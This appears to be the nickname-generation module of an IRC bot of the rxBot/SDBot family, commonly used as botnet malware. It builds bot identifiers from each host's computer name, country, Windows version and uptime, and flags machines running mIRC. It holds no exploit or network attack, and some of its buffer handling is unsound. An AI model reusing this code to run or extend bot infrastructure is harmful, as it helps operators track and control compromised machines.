#include "includes.h" #include "functions.h" #include "externs.h" RNICK rnick[]={ #ifndef NO_REALNICK {"real", REALNICK, rndnickreal}, #endif {"const", CONSTNICK, rndnickconst}, {"letter", LETTERNICK, rndnickletter}, {"comp", COMPNICK, rndnickcomp}, {"country", COUNTRYNICK, rndnickcountry}, {"os", OSNICK, rndnickos} }; #ifndef NO_REALNICK #include "nicklist.h" char *rndnickreal(char *strbuf) { srand(GetTickCount()); _snprintf(strbuf, MAXNICKLEN, "%s", nicklist[rand()%(sizeof(nicklist) / sizeof(char *))]); for (int i=0;i < maxrand;i++) _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10); return (strbuf); } #endif char *rndnickconst(char *strbuf) { srand(GetTickCount()); _snprintf(strbuf, MAXNICKLEN, "%s", nickconst); for (int i=0;i < maxrand;i++) _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10); return (strbuf); } char *rndnickletter(char *strbuf) { srand(GetTickCount()); int randlen = (rand()%3)+maxrand; for (int i=0; i < randlen; i++) strbuf[i] = (rand()%26)+97; strbuf[i] = '\0'; return (strbuf); } char *rndnickcomp(char *strbuf) { int i; LPTSTR lpszCompName="PC"; DWORD cchBuff = 256; BOOL NameGood = FALSE; srand(GetTickCount()); if(!GetComputerName(lpszCompName, &cchBuff)) lpszCompName="PC"; for (i=65;i<91;i++) if (lpszCompName[0] == i) NameGood = TRUE; for (i=97;i<123;i++) if (lpszCompName[0] == i) NameGood = TRUE; if (!NameGood) lpszCompName="PC"; _snprintf(strbuf, MAXNICKLEN, lpszCompName); for (i=0;i < maxrand;i++) _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10); return (strbuf); } char *rndnickcountry(char *strbuf) { char temp[10]; srand(GetTickCount()); GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, temp, sizeof(temp)); _snprintf(strbuf, MAXNICKLEN, "%s|", temp); for (int i=0;i < maxrand;i++) _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10); return (strbuf); } char *rndnickos(char *strbuf) { char *os=""; OSVERSIONINFO verinfo; verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&verinfo); srand(GetTickCount()); if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) { if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) os = "95"; if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT) os = "NT"; } else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) os = "98"; else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) os = "ME"; else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) os = "2K"; else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) os = "XP"; else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 2) os = "2K3"; else os = "???"; _snprintf(strbuf,MAXNICKLEN,"[%s]|",os); for (int i=0;i < maxrand;i++) _snprintf(strbuf, MAXNICKLEN, "%s%i", strbuf, rand()%10); return (strbuf); } char *prefixnick(char *strbuf) { char tmpbuf[MAXNICKLEN]; unsigned int days = GetTickCount() / 86400000; if (days > 5) #ifndef NO_MIRCNICK _snprintf(tmpbuf, sizeof(tmpbuf),"[%d]%s", days, ((fFindWindow("mIRC",0))?("[M]"):(""))); else sprintf(tmpbuf, ((fFindWindow("mIRC",0))?("[M]"):(""))); #else _snprintf(tmpbuf, sizeof(tmpbuf),"[%d]", days); #endif if (strlen(tmpbuf) > 2) { strncat(tmpbuf, strbuf, sizeof(tmpbuf)); strncpy(strbuf, tmpbuf, MAXNICKLEN); } return (strbuf); }; char *rndnick(char *strbuf, int type, BOOL prefix, char *name) { for (int i=0; i < (sizeof(rnick) / sizeof(RNICK)); i++) if ((name)?(strcmp(name,rnick[i].name)==0):(rnick[i].type == type)) { rnick[i].rnfunc(strbuf); break; } return ((prefix)?(prefixnick(strbuf)):(strbuf)); } - eof .h - begin enum {REALNICK, CONSTNICK, LETTERNICK, COMPNICK, COUNTRYNICK, OSNICK}; typedef char * (*rnref)(char *strbuf); typedef struct RNICK { char name[10]; int type; rnref rnfunc; } RNICK; #ifndef NO_REALNICK char *rndnickreal(char *strbuf); #endif char *rndnickconst(char *strbuf); char *rndnickletter(char *strbuf); char *rndnickcomp(char *strbuf); char *rndnickcountry(char *strbuf); char *rndnickos(char *strbuf); char *prefixnick(char *strbuf); char *rndnick(char *strbuf, int type=LETTERNICK, BOOL prefix=FALSE, char *name=NULL); -eof